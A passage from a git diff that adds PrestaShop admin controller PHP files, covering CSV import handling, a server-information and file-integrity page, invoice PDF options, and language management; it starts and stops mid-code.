`'._DB_PREFIX_.'manufacturer'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'manufacturer_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'manufacturer_shop'); + foreach (scandir(_PS_MANU_IMG_DIR_) as $d) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $d)) + unlink(_PS_MANU_IMG_DIR_.$d); + break; + case $this->entities[$this->l('Suppliers')]: + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'supplier'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'supplier_lang'); + Db::getInstance()->execute('TRUNCATE TABLE `'._DB_PREFIX_.'supplier_shop'); + foreach (scandir(_PS_SUPP_IMG_DIR_) as $d) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $d)) + unlink(_PS_SUPP_IMG_DIR_.$d); + break; + } + Image::clearTmpDir(); + return true; + } + + public function postProcess() + { + /* PrestaShop demo mode */ + if (_PS_MODE_DEMO_) + { + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + return; + } + /* PrestaShop demo mode*/ + + if (Tools::isSubmit('submitFileUpload')) + { + if (isset($_FILES['file']) && !empty($_FILES['file']['error'])) + { + switch ($_FILES['file']['error']) + { + case UPLOAD_ERR_INI_SIZE: + $this->errors[] = Tools::displayError('The uploaded file exceeds the upload_max_filesize directive in php.ini. If your server configuration allows it, you may add a directive in your .htaccess.'); + break; + case UPLOAD_ERR_FORM_SIZE: + $this->errors[] = Tools::displayError('The uploaded file exceeds the post_max_size directive in php.ini. + If your server configuration allows it, you may add a directive in your .htaccess, for example:') + .'<br/><a href="'.$this->context->link->getAdminLink('AdminMeta').'" > + <code>php_value post_max_size 20M</code> '. + Tools::displayError('(click to open "Generators" page)').'</a>'; + break; + break; + case UPLOAD_ERR_PARTIAL: + $this->errors[] = Tools::displayError('The uploaded file was only partially uploaded.'); + break; + break; + case UPLOAD_ERR_NO_FILE: + $this->errors[] = Tools::displayError('No file was uploaded.'); + break; + break; + } + } + else if (!file_exists($_FILES['file']['tmp_name']) || + !@move_uploaded_file($_FILES['file']['tmp_name'], _PS_ADMIN_DIR_.'/import/'.date('Ymdhis').'-'.$_FILES['file']['name'])) + $this->errors[] = $this->l('An error occurred while uploading / copying the file.'); + else + Tools::redirectAdmin(self::$currentIndex.'&token='.Tools::getValue('token').'&conf=18'); + } + else if (Tools::getValue('import')) + { + // Check if the CSV file exist + if (Tools::getValue('csv')) + { + // If i am a superadmin, i can truncate table + if (((Shop::isFeatureActive() && $this->context->employee->isSuperAdmin()) || !Shop::isFeatureActive()) && Tools::getValue('truncate')) + $this->truncateTables((int)Tools::getValue('entity')); + + switch ((int)Tools::getValue('entity')) + { + case $this->entities[$this->l('Categories')]: + $this->categoryImport(); + break; + case $this->entities[$this->l('Products')]: + $this->productImport(); + break; + case $this->entities[$this->l('Customers')]: + $this->customerImport(); + break; + case $this->entities[$this->l('Addresses')]: + $this->addressImport(); + break; + case $this->entities[$this->l('Combinations')]: + $this->attributeImport(); + break; + case $this->entities[$this->l('Manufacturers')]: + $this->manufacturerImport(); + break; + case $this->entities[$this->l('Suppliers')]: + $this->supplierImport(); + break; + // @since 1.5.0 + case $this->entities[$this->l('Supply Orders')]: + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + $this->supplyOrdersImport(); + break; + // @since 1.5.0 + case $this->entities[$this->l('Supply Order Details')]: + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT')) + $this->supplyOrdersDetailsImport(); + break; + default: + $this->errors[] = $this->l('Please select what you would like to import'); + } + } + else + $this->errors[] = $this->l('You must upload a file in order to proceed to the next step'); + } + + parent::postProcess(); + } + + public static function setLocale() + { + $iso_lang = trim(Tools::getValue('iso_lang')); + setlocale(LC_COLLATE, strtolower($iso_lang).'_'.strtoupper($iso_lang).'.UTF-8'); + setlocale(LC_CTYPE, strtolower($iso_lang).'_'.strtoupper($iso_lang).'.UTF-8'); + } + + protected function addProductWarning($product_name, $product_id = null, $message = '') + { + $this->warnings[] = $product_name.(isset($product_id) ? ' (ID '.$product_id.')' : '').' '.Tools::displayError($message); + } + + public function ajaxProcessSaveImportMatchs() + { + if ($this->tabAccess['edit'] === '1') + { + $match = implode('|', Tools::getValue('type_value')); + Db::getInstance()->execute('INSERT INTO `'._DB_PREFIX_.'import_match` ( + `id_import_match` , + `name` , + `match`, + `skip` + ) + VALUES ( + NULL , + \''.pSQL(Tools::getValue('newImportMatchs')).'\', + \''.pSQL($match).'\', + \''.pSQL(Tools::getValue('skip')).'\' + )'); + + die('{"id" : "'.Db::getInstance()->Insert_ID().'"}'); + } + } + + public function ajaxProcessLoadImportMatchs() + { + if ($this->tabAccess['edit'] === '1') + { + $return = Db::getInstance()->executeS('SELECT * FROM `'._DB_PREFIX_.'import_match` WHERE `id_import_match` = '.(int)Tools::getValue('idImportMatchs')); + die('{"id" : "'.$return[0]['id_import_match'].'", "matchs" : "'.$return[0]['match'].'", "skip" : "'.$return[0]['skip'].'"}'); + } + } + + public function ajaxProcessDeleteImportMatchs() + { + if ($this->tabAccess['edit'] === '1') + { + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'import_match` WHERE `id_import_match` = '.(int)Tools::getValue('idImportMatchs')); + die; + } + } +} diff --git a/controllers/admin/AdminInformationController.php b/controllers/admin/AdminInformationController.php new file mode 100755 index 0000000..a33dc07 --- /dev/null +++ b/controllers/admin/AdminInformationController.php @@ -0,0 +1,159 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminInformationControllerCore extends AdminController +{ + public function initContent() + { + $this->display = 'view'; + parent::initContent(); + } + + public function renderView() + { + $this->tpl_view_vars = array( + 'version' => array( + 'php' => phpversion(), + 'server' => $_SERVER['SERVER_SOFTWARE'], + 'memory_limit' => ini_get('memory_limit'), + 'max_execution_time' => ini_get('max_execution_time') + ), + 'database' => array( + 'version' => Db::getInstance()->getVersion(), + 'prefix' => _DB_PREFIX_, + 'engine' => _MYSQL_ENGINE_, + ), + 'uname' => function_exists('php_uname') ? php_uname('s').' '.php_uname('v').' '.php_uname('m') : '', + 'apache_instaweb' => Tools::apacheModExists('mod_instaweb'), + 'shop' => array( + 'ps' => _PS_VERSION_, + 'url' => Tools::getHttpHost(true).__PS_BASE_URI__, + 'theme' => _THEME_NAME_, + ), + 'mail' => Configuration::get('PS_MAIL_METHOD') == 1, + 'smtp' => array( + 'server' => Configuration::get('PS_MAIL_SERVER'), + 'user' => Configuration::get('PS_MAIL_USER'), + 'password' => Configuration::get('PS_MAIL_PASSWD'), + 'encryption' => Configuration::get('PS_MAIL_SMTP_ENCRYPTION'), + 'port' => Configuration::get('PS_MAIL_SMTP_PORT'), + ), + 'user_agent' => $_SERVER['HTTP_USER_AGENT'], + ); + $this->tpl_view_vars = array_merge($this->getTestResult(), $this->tpl_view_vars); + + return parent::renderView(); + } + + public function initToolBar() + { + return; + } + + + /** + * get all tests + * + * @return array of test results + */ + public function getTestResult() + { + // Functions list to test with 'test_system' + // Test to execute (function/args) : lets uses the default test + $tests = ConfigurationTest::getDefaultTests(); + $tests_op = ConfigurationTest::getDefaultTestsOp(); + + $tests_errors = array( + 'phpversion' => $this->l('Update your PHP version'), + 'upload' => $this->l('Configure your server to allow file uploads'), + 'system' => $this->l('Configure your server to allow the creation of directories and files with write permissions.'), + 'gd' => $this->l('Enable the GD library on your server.'), + 'mysql_support' => $this->l('Enable the MySQL support on your server.'), + 'config_dir' => $this->l('Set write permissions for the "config" folder.'), + 'cache_dir' => $this->l('Set write permissions for the "cache" folder.'), + 'sitemap' => $this->l('Set write permissions for the "sitemap.xml" file.'), + 'img_dir' => $this->l('Set write permissions for the "img" folder and subfolders.'), + 'log_dir' => $this->l('Set write permissions for the "log" folder and subfolders.'), + 'mails_dir' => $this->l('Set write permissions for the "mails" folder and subfolders.'), + 'module_dir' => $this->l('Set write permissions for the "modules" folder and subfolders.'), + 'theme_lang_dir' => $this->l('Set the write permissions for the "themes')._THEME_NAME_.$this->l('/lang/" folder and subfolders, recursively.'), + 'translations_dir' => $this->l('Set write permissions for the "translations" folder and subfolders.'), + 'customizable_products_dir' => $this->l('Set write permissions for the "upload" folder and subfolders.'), + 'virtual_products_dir' => $this->l('Set write permissions for the "download" folder and subfolders.'), + 'fopen' => $this->l('Allow the PHP fopen() function on your server'), + 'register_globals' => $this->l('Set PHP "register_global" option to "Off"'), + 'gz' => $this->l('Enable GZIP compression on your server.') + ); + + $params_required_results = ConfigurationTest::check($tests); + $params_optional_results = ConfigurationTest::check($tests_op); + + return array( + 'failRequired' => in_array('fail', $params_required_results), + 'failOptional' => in_array('fail', $params_optional_results), + 'testsErrors' => $tests_errors, + 'testsRequired' => $params_required_results, + 'testsOptional' => $params_optional_results, + ); + } + + public function displayAjaxCheckFiles() + { + $this->file_list = array('missing' => array(), 'updated' => array()); + $xml = @simplexml_load_file('http://api.prestashop.com/xml/md5/'._PS_VERSION_.'.xml'); + if (!$xml) + die(Tools::jsonEncode($this->file_list)); + + $this->getListOfUpdatedFiles($xml->ps_root_dir[0]); + die(Tools::jsonEncode($this->file_list)); + } + + public function getListOfUpdatedFiles(SimpleXMLElement $dir, $path = '') + { + $exclude_regexp = '(install(-dev|-new)?|themes|tools|cache|docs|download|img|localization|log|mails|translations|upload)'; + $admin_dir = basename(_PS_ADMIN_DIR_); + + foreach ($dir->md5file as $file) + { + $filename = preg_replace('#^admin/#', $admin_dir.'/', $path.$file['name']); + if (preg_match('#^'.$exclude_regexp.'#', $filename)) + continue; + + if (!file_exists(_PS_ROOT_DIR_.'/'.$filename)) + $this->file_list['missing'][] = $filename; + else + { + $md5_local = md5_file(_PS_ROOT_DIR_.'/'.$filename); + if ($md5_local != (string)$file) + $this->file_list['updated'][] = $filename; + } + } + + foreach ($dir->dir as $subdir) + $this->getListOfUpdatedFiles($subdir, $path.$subdir['name'].'/'); + } +} + diff --git a/controllers/admin/AdminInvoicesController.php b/controllers/admin/AdminInvoicesController.php new file mode 100755 index 0000000..4eee707 --- /dev/null +++ b/controllers/admin/AdminInvoicesController.php @@ -0,0 +1,287 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminInvoicesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'invoice'; + + parent::__construct(); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Invoice options'), + 'fields' => array( + 'PS_INVOICE' => array( + 'title' => $this->l('Enable invoices:'), + 'desc' => $this->l('If enabled, your customers will be able to receive an invoice for their purchase(s).'), + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_INVOICE_PREFIX' => array( + 'title' => $this->l('Invoice prefix:'), + 'desc' => $this->l('Prefix used for invoice name (e.g. IN00001)'), + 'size' => 6, + 'type' => 'textLang' + ), + 'PS_INVOICE_START_NUMBER' => array( + 'title' => $this->l('Invoice number:'), + 'desc' => $this->l('The next invoice will begin with this number, and then increase with each additional invoice. Set to 0 if you want to keep the current number.').(Order::getLastInvoiceNumber() + 1).').', + 'size' => 6, + 'type' => 'text', + 'cast' => 'intval' + ), + 'PS_INVOICE_FREE_TEXT' => array( + 'title' => $this->l('Footer text:'), + 'desc' => $this->l('This text will appear at the bottom of the invoice'), + 'size' => 6, + 'type' => 'textareaLang', + 'cols' => 40, + 'rows' => 8 + ), + 'PS_INVOICE_MODEL' => array( + 'title' => $this->l('Invoice model:'), + 'desc' => $this->l('Choose an invoice model'), + 'type' => 'select', + 'identifier' => 'value', + 'list' => $this->getInvoicesModels() + ), + 'PS_PDF_USE_CACHE' => array( + 'title' => $this->l('Use disk as cache for PDF invoices:'), + 'desc' => $this->l('Saves memory but slows down the rendering process.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ) + ), + 'submit' => array() + ) + ); + } + + public function initFormByDate() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('By date'), + 'image' => '../img/admin/pdf.gif' + ), + 'input' => array( + array( + 'type' => 'date', + 'label' => $this->l('From:'), + 'name' => 'date_from', + 'size' => 20, + 'maxlength' => 10, + 'required' => true, + 'desc' => $this->l('Format: 2011-12-31 (inclusive)') + ), + array( + 'type' => 'date', + 'label' => $this->l('To:'), + 'name' => 'date_to', + 'size' => 20, + 'maxlength' => 10, + 'required' => true, + 'desc' => $this->l('Format: 2012-12-31 (inclusive)') + ) + ), + 'submit' => array( + 'title' => $this->l('Generate PDF file by date'), + 'class' => 'button', + 'id' => 'submitPrint' + ) + ); + + $this->fields_value = array( + 'date_from' => date('Y-m-d'), + 'date_to' => date('Y-m-d') + ); + + $this->table = 'invoice_date'; + $this->toolbar_title = $this->l('Print PDF invoices'); + return parent::renderForm(); + } + + public function initFormByStatus() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('By order status'), + 'image' => '../img/admin/pdf.gif' + ), + 'input' => array( + array( + 'type' => 'checkboxStatuses', + 'label' => $this->l('Statuses:'), + 'name' => 'id_order_state', + 'values' => array( + 'query' => OrderState::getOrderStates($this->context->language->id), + 'id' => 'id_order_state', + 'name' => 'name' + ), + 'desc' => $this->l('You can also export orders which have not been charged yet.').' (<img src="../img/admin/charged_ko.gif" alt="" />).' + ) + ), + 'submit' => array( + 'title' => $this->l('Generate PDF file by status.'), + 'class' => 'button', + 'id' => 'submitPrint2' + ) + ); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT COUNT(o.id_order) as nbOrders, ( + SELECT oh.id_order_state + FROM '._DB_PREFIX_.'order_history oh + WHERE oh.id_order = oi.id_order + ORDER BY oh.date_add DESC, oh.id_order_history DESC + LIMIT 1 + ) id_order_state + FROM '._DB_PREFIX_.'order_invoice oi + LEFT JOIN '._DB_PREFIX_.'orders o ON (oi.id_order = o.id_order) + WHERE o.id_shop IN('.implode(', ', Shop::getContextListShopID()).') + GROUP BY id_order_state + '); + + $status_stats = array(); + foreach ($result as $row) + $status_stats[$row['id_order_state']] = $row['nbOrders']; + + $this->tpl_form_vars = array( + 'statusStats' => $status_stats, + 'style' => '' + ); + + $this->table = 'invoice_status'; + $this->show_toolbar = false; + return parent::renderForm(); + } + + public function initContent() + { + $this->display = 'edit'; + $this->initToolbar(); + $this->content .= $this->initFormByDate(); + $this->content .= $this->initFormByStatus(); + $this->table = 'invoice'; + $this->content .= $this->renderOptions(); + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + public function initToolbar() + { + $this->toolbar_btn['save-date'] = array( + 'href' => '#', + 'desc' => $this->l('Generate PDF file by date') + ); + + $this->toolbar_btn['save-status'] = array( + 'href' => '#', + 'desc' => $this->l('Generate PDF file by status.') + ); + } + + public function postProcess() + { + if (Tools::getValue('submitAddinvoice_date')) + { + if (!Validate::isDate(Tools::getValue('date_from'))) + $this->errors[] = $this->l('Invalid "From" date'); + + if (!Validate::isDate(Tools::getValue('date_to'))) + $this->errors[] = $this->l('Invalid "To" date'); + + if (!count($this->errors)) + { + if (count(OrderInvoice::getByDateInterval(Tools::getValue('date_from'), Tools::getValue('date_to')))) + Tools::redirectAdmin($this->context->link->getAdminLink('AdminPdf').'&submitAction=generateInvoicesPDF&date_from='.urlencode(Tools::getValue('date_from')).'&date_to='.urlencode(Tools::getValue('date_to'))); + + $this->errors[] = $this->l('No invoice has been found for this period.'); + } + } + else if (Tools::isSubmit('submitAddinvoice_status')) + { + if (!is_array($status_array = Tools::getValue('id_order_state')) || !count($status_array)) + $this->errors[] = $this->l('You must select at least one order status.'); + else + { + foreach ($status_array as $id_order_state) + if (count(OrderInvoice::getByStatus((int)$id_order_state))) + Tools::redirectAdmin($this->context->link->getAdminLink('AdminPdf').'&submitAction=generateInvoicesPDF2&id_order_state='.implode('-', $status_array)); + + $this->errors[] = $this->l('No invoice has been found for this status.'); + } + } + else + parent::postProcess(); + } + + public function beforeUpdateOptions() + { + if ((int)Tools::getValue('PS_INVOICE_START_NUMBER') != 0 && (int)Tools::getValue('PS_INVOICE_START_NUMBER') <= Order::getLastInvoiceNumber()) + $this->errors[] = $this->l('Invalid invoice number.').Order::getLastInvoiceNumber().')'; + } + + protected function getInvoicesModels() + { + $models = array( + array( + 'value' => 'invoice', + 'name' => 'invoice' + ) + ); + + $templates_override = $this->getInvoicesModelsFromDir(_PS_THEME_DIR_.'pdf/'); + $templates_default = $this->getInvoicesModelsFromDir(_PS_PDF_DIR_); + + foreach (array_merge($templates_default, $templates_override) as $template) + { + $template_name = basename($template, '.tpl'); + $models[] = array('value' => $template_name, 'name' => $template_name); + } + return $models; + } + + protected function getInvoicesModelsFromDir($directory) + { + $templates = false; + + if (is_dir($directory)) + $templates = glob($directory.'invoice-*.tpl'); + + if (!$templates) + $templates = array(); + + return $templates; + } +} + diff --git a/controllers/admin/AdminLanguagesController.php b/controllers/admin/AdminLanguagesController.php new file mode 100755 index 0000000..9a00c8c --- /dev/null +++ b/controllers/admin/AdminLanguagesController.php @@ -0,0 +1,519 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminLanguagesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'lang'; + $this->className = 'Language'; + $this->lang = false; + $this->deleted = false; + $this->multishop_context = Shop::CONTEXT_ALL; + + $this->context = Context::getContext(); + + $this->fieldImageSettings = array( + array( + 'name' => 'flag', + 'dir' => 'l' + ), + array( + 'name' => 'no-picture', + 'dir' => 'p' + ) + ); + + $this->fields_list = array( + 'id_lang' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'flag' => array( + 'title' => $this->l('Logo'), + 'align' => 'center', + 'image' => 'l', + 'orderby' => false, + 'search' => false + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 120 + ), + 'iso_code' => array( + 'title' => $this->l('ISO code'), + 'width' => 70, + 'align' => 'center' + ), + 'language_code' => array( + 'title' => $this->l('Language code'), + 'width' => 70, + 'align' => 'center' + ), + 'date_format_lite' => array( + 'title' => $this->l('Date format') + ), + 'date_format_full' => array( + 'title' => $this->l('Date format (full)') + ), + 'active' => array( + 'title' => $this->l('Enabled'), + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool' + ) + ); + + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?')), + 'enableSelection' => array('text' => $this->l('Enable selection')), + 'disableSelection' => array('text' => $this->l('Disable selection')) + ); + $this->specificConfirmDelete = $this->l('When you delete a language, all related translations in the database will be deleted. Are you sure you want to proceed?'); + + parent::__construct(); + } + + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->displayWarning($this->l('When you delete a language, all related translations in the database will be deleted.')); + $this->displayInformation($this->l('Your .htaccess file must be writable.')); + return parent::renderList(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Languages'), + 'image' => '../img/admin/world.gif' + ), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'ps_version' + ), + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 32, + 'maxlength' => 32, + 'required' => true + ), + array( + 'type' => 'text', + 'label' => $this->l('ISO code:'), + 'name' => 'iso_code', + 'required' => true, + 'size' => 2, + 'maxlength' => 2, + 'desc' => $this->l('Two-letter ISO code (e.g. FR, EN, DE)') + ), + array( + 'type' => 'text', + 'label' => $this->l('Language code:'), + 'name' => 'language_code', + 'required' => true, + 'size' => 2, + 'maxlength' => 5, + 'desc' => $this->l('Full language code (e.g. EN-US, PT-BR)') + ), + array( + 'type' => 'text', + 'label' => $this->l('Date format:'), + 'name' => 'date_format_lite', + 'required' => true, + 'size' => 15, + 'desc' => $this->l('Short date format (e.g. YY-MM-DD)') + ), + array( + 'type' => 'text', + 'label' => $this->l('Date format (full):'), + 'name' => 'date_format_full', + 'required' => true, + 'size' => 25, + 'desc' => $this->l('Full date format (e.g., YYYY-MM-DD)') + ), + array( + 'type' => 'file', + 'label' => $this->l('Flag:'), + 'name' => 'flag', + 'required' => true, + 'desc' => $this->l('Upload the country flag from your computer') + ), + array( + 'type' => 'file', + 'label' => $this->l('"No-picture" image:'), + 'name' => 'no-picture', + 'desc' => $this->l('Image is displayed when "no picture is found"') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Is RTL language:'), + 'name' => 'is_rtl', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'is_rtl_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Enable if this language is read from right to left').' '. + $this->l('(Experimental: your theme must be compliant with RTL languages)') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Activate this language') + ), + array( + 'type' => 'special', + 'name' => 'resultCheckLangPack', + 'text' => $this->l('Check to see if a language pack is available for this ISO code.'), + 'img' => 'ajax-loader.gif' + ) + ) + ); + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + if (!($obj = $this->loadObject(true))) + return; + + if ($obj->id && !$obj->checkFiles()) + { + $this->fields_form['new'] = array( + 'legend' => array( + 'title' => $this->l('Warning'), + 'image' => '../img/admin/warning.gif' + ), + 'list_files' => array( + array( + 'label' => $this->l('Translation files:'), + 'files' => Language::getFilesList($obj->iso_code, _THEME_NAME_, false, false, 'tr', true) + ), + array( + 'label' => $this->l('Theme files:'), + 'files' => Language::getFilesList($obj->iso_code, _THEME_NAME_, false, false, 'theme', true) + ), + array( + 'label' => $this->l('Mail files:'), + 'files' => Language::getFilesList($obj->iso_code, _THEME_NAME_, false, false, 'mail', true) + ) + ) + ); + } + + $this->fields_value = array( + 'ps_version' => _PS_VERSION_ + ); + + $this->addJS(_PS_JS_DIR_.'checkLangPack.js'); + + return parent::renderForm(); + } + + public function processDelete() + { + $object = $this->loadObject(); + if (!$this->checkDeletion($object)) + return false; + if (!$this->deleteNoPictureImages((int)$object->id)) + $this->errors[] = Tools::displayError('An error occurred while deleting the object.').' <b>'.$this->table.'</b> '; + + return parent::processDelete(); + } + + protected function processBulkDelete() + { + $can_bulk = true; + if (is_array($this->boxes) && !empty($this->boxes)) + { + foreach ($this->boxes as $id_lang) + { + $object = new Language((int)$id_lang); + if (!$this->checkDeletion($object)) + return false; + if (!$this->deleteNoPictureImages((int)$object->id)) + { + $this->errors[] = Tools::displayError('An error occurred while deleting the object.').' <b>'.$this->table.'</b> '; + return false; + } + } + } + return parent::processBulkDelete(); + } + + protected function checkDeletion($object) + { + if (Validate::isLoadedObject($object)) + { + if ($object->id == Configuration::get('PS_LANG_DEFAULT')) + $this->errors[] = $this->l('You cannot delete the default language.'); + elseif ($object->id == $this->context->language->id) + $this->errors[] = $this->l('You cannot delete the language currently in use. Please select a different language.'); + else + return true; + } + else + $this->errors[] = Tools::displayError('(cannot load object)'); + + return false; + } + + protected function checkDisableStatus($object) + { + if (!Validate::isLoadedObject($object)) + $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.').' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + else + { + if ($object->id == (int)Configuration::get('PS_LANG_DEFAULT')) + $this->errors[] = Tools::displayError('You cannot change the status of the default language.'); + else + return true; + } + return false; + } + + public function processStatus() + { + $object = $this->loadObject(); + if ($this->checkDisableStatus($object)) + { + $this->checkEmployeeIdLang($object->id); + return parent::processStatus(); + } + return false; + } + + protected function processBulkDisableSelection() + { + if (is_array($this->boxes) && !empty($this->boxes)) + { + foreach ($this->boxes as $id_lang) + { + $object = new Language((int)$id_lang); + if (!$this->checkDisableStatus($object)) + return false; + $this->checkEmployeeIdLang($object->id); + } + } + return parent::processBulkDisableSelection(); + } + + public function processAdd() + { + if (isset($_POST['iso_code']) && !empty($_POST['iso_code']) && Validate::isLanguageIsoCode(Tools::getValue('iso_code')) && Language::getIdByIso($_POST['iso_code'])) + $this->errors[] = Tools::displayError('This ISO code is already linked to another language.'); + if ((!empty($_FILES['no-picture']['tmp_name']) || !empty($_FILES['flag']['tmp_name'])) && Validate::isLanguageIsoCode(Tools::getValue('iso_code'))) + { + if ($_FILES['no-picture']['error'] == UPLOAD_ERR_OK) + $this->copyNoPictureImage(strtolower(Tools::getValue('iso_code'))); + unset($_FILES['no-picture']); + return parent::processAdd(); + } + else + $this->errors[] = Tools::displayError('Flag and "No picture" image fields are required.'); + + return false; + } + + public function processUpdate() + { + if (( isset($_FILES['no-picture']) && !$_FILES['no-picture']['error'] || isset($_FILES['flag']) && !$_FILES['flag']['error']) + && Validate::isLanguageIsoCode(Tools::getValue('iso_code'))) + { + if ($_FILES['no-picture']['error'] == UPLOAD_ERR_OK) + $this->copyNoPictureImage(strtolower(Tools::getValue('iso_code'))); + // class AdminTab deal with every $_FILES content, don't do that for no-picture + unset($_FILES['no-picture']); + } + $object = $this->loadObject(); + if (Tools::getValue('active') != (int)$object->active) + if (!$this->checkDisableStatus($object)) + return false; + + $this->checkEmployeeIdLang($object->id); + return parent::processUpdate(); + } + + /** + * Copy a no-product image + * + * @param string $language Language iso_code for no-picture image filename + */ + public function copyNoPictureImage($language) + { + if (isset($_FILES['no-picture']) && $_FILES['no-picture']['error'] === 0) + if ($error = ImageManager::validateUpload($_FILES['no-picture'], Tools::getMaxUploadSize())) + $this->errors[] = $error; + else + { + if (!($tmp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS')) || !move_uploaded_file($_FILES['no-picture']['tmp_name'], $tmp_name)) + return false; + if (!ImageManager::resize($tmp_name, _PS_IMG_DIR_.'p/'.$language.'.jpg')) + $this->errors[] = Tools::displayError('An error occurred while copying "No Picture" image to your product folder.'); + if (!ImageManager::resize($tmp_name, _PS_IMG_DIR_.'c/'.$language.'.jpg')) + $this->errors[] = Tools::displayError('An error occurred while copying "No picture" image to your category folder.'); + if (!ImageManager::resize($tmp_name, _PS_IMG_DIR_.'m/'.$language.'.jpg')) + $this->errors[] = Tools::displayError('An error occurred while copying "No picture" image to your manufacturer folder.'); + else + { + $images_types = ImageType::getImagesTypes('products'); + foreach ($images_types as $k => $image_type) + { + if (!ImageManager::resize($tmp_name, _PS_IMG_DIR_.'p/'.$language.'-default-'.stripslashes($image_type['name']).'.jpg', $image_type['width'], $image_type['height'])) + $this->errors[] = Tools::displayError('An error occurred while resizing "No picture" image to your product directory.'); + if (!ImageManager::resize($tmp_name, _PS_IMG_DIR_.'c/'.$language.'-default-'.stripslashes($image_type['name']).'.jpg', $image_type['width'], $image_type['height'])) + $this->errors[] = Tools::displayError('An error occurred while resizing "No picture" image to your category directory.'); + if (!ImageManager::resize($tmp_name, _PS_IMG_DIR_.'m/'.$language.'-default-'.stripslashes($image_type['name']).'.jpg', $image_type['width'], $image_type['height'])) + $this->errors[] = Tools::displayError('An error occurred while resizing "No picture" image to your manufacturer directory.'); + } + } + unlink($tmp_name); + } + } + + /** + * deleteNoPictureImages will delete all default image created for the language id_language + * + * @param string $id_language + * @return boolean true if no error + */ + protected function deleteNoPictureImages($id_language) + { 